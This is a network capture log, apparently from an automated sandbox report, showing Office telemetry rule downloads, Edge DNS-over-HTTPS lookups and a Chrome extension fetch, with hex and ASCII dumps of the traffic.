2024-11-26 15:31:39 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:40 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153140Z-174f7845968kvnqxhC1EWRmf3g0000000ecg00000000k5eg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153140Z-174f7845968n2hr8hC1EWR9cag0000000v6000000000nyv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153140Z-174f7845968ljs8phC1EWRe6en0000000vdg00000000kgq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153140Z-174f784596886s2bhC1EWR743w0000000vh000000000ska8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:41 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:41 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153141Z-174f7845968px8v7hC1EWR08ng0000000vu000000000n99m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49831	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed4c58184393-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fa 40 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,@c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49839	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed4c5d1b176c-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ec 00 04 8e fa 40 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49843	162.159.61.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed4c5bfb4217-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ef 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49845	172.64.41.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 15:31:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 15:31:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 15:31:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8aed4e8daa438d-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 15:31:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49836	142.250.181.65	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:42 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:42 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5PORTvvCZnmg8ylymoVoIJR9ylyfodIevcpGIOY4YlNiBXS_Kucpitjhh8E-j3chUYGCc X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Mon, 25 Nov 2024 16:45:00 GMT Expires: Tue, 25 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 82002 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 15:31:42 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-26 15:31:42 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
